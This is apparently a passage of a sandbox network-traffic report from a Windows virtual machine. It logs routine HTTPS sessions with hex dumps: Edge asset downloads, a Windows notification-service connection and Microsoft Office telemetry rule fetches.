Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	49870	13.107.246.40	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:44 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 16:24:45 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:45 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 5f8eb5f8-301e-0064-07ed-40d8a7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T162445Z-174f7845968ljs8phC1EWRe6en0000000yeg00000000dhu4 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 16:24:45 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-28 16:24:45 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-11-28 16:24:45 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-11-28 16:24:45 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
2024-11-28 16:24:45 UTC	16384	IN	Data Raw: e5 2e b7 93 a4 b3 90 c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 Data Ascii: .kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~C
2024-11-28 16:24:45 UTC	16384	IN	Data Raw: df 26 b7 09 e8 f5 8c 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c Data Ascii: &{M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l
2024-11-28 16:24:45 UTC	16384	IN	Data Raw: c0 77 d7 f0 0b 75 ef b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e Data Ascii: wuO n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>
2024-11-28 16:24:46 UTC	16384	IN	Data Raw: 8f 67 d5 e8 e4 34 eb e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 Data Ascii: g4,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-28 16:24:46 UTC	16384	IN	Data Raw: c8 b1 0e c3 45 a4 cf 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 Data Ascii: E4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vH
2024-11-28 16:24:46 UTC	16384	IN	Data Raw: 94 22 1e 7d b0 6a 95 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 Data Ascii: "}jVG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49871	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:45 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 57 32 30 75 41 50 2b 56 57 45 65 41 73 54 65 64 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 64 64 61 66 65 34 63 61 31 66 62 66 36 32 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: W20uAP+VWEeAsTed.1Context: 5ddafe4ca1fbf622
2024-11-28 16:24:45 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-28 16:24:45 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 57 32 30 75 41 50 2b 56 57 45 65 41 73 54 65 64 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 64 64 61 66 65 34 63 61 31 66 62 66 36 32 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 4e 32 58 47 4f 4d 57 6e 50 7a 44 6c 75 39 2b 43 66 52 6b 4b 7a 58 54 55 49 42 76 55 54 45 6a 58 64 46 50 44 55 53 4b 43 65 70 76 45 2b 7a 6b 55 65 76 5a 71 4e 71 70 33 46 33 37 71 4b 59 39 69 6c 64 2f 6b 7a 78 38 62 6d 74 44 56 34 7a 31 66 75 55 49 32 2b 76 44 55 61 62 36 39 5a 30 75 4b 7a 71 59 65 58 32 43 76 7a 66 33 5a Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: W20uAP+VWEeAsTed.2Context: 5ddafe4ca1fbf622<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAASN2XGOMWnPzDlu9+CfRkKzXTUIBvUTEjXdFPDUSKCepvE+zkUevZqNqp3F37qKY9ild/kzx8bmtDV4z1fuUI2+vDUab69Z0uKzqYeX2Cvzf3Z
2024-11-28 16:24:45 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 57 32 30 75 41 50 2b 56 57 45 65 41 73 54 65 64 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 64 64 61 66 65 34 63 61 31 66 62 66 36 32 32 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: W20uAP+VWEeAsTed.3Context: 5ddafe4ca1fbf622
2024-11-28 16:24:46 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-28 16:24:46 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 62 50 46 72 51 55 52 58 56 45 6d 6d 4e 30 74 6e 33 6b 66 47 54 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: bPFrQURXVEmmN0tn3kfGTQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:46 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:46 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:46 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6dbf519d-601e-0084-1b91-3f6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162446Z-174f7845968jrjrxhC1EWRmmrs0000000yrg00000000dw3n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:46 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:46 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:46 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:46 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: e12d29d9-601e-0001-6315-41faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162446Z-174f7845968l4kp6hC1EWRe8840000000yz0000000005ep8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:46 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:46 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:47 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:46 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 14d8e695-801e-008c-6b91-3f7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162446Z-174f7845968ljs8phC1EWRe6en0000000yn0000000001f4e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:47 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49874	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:46 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
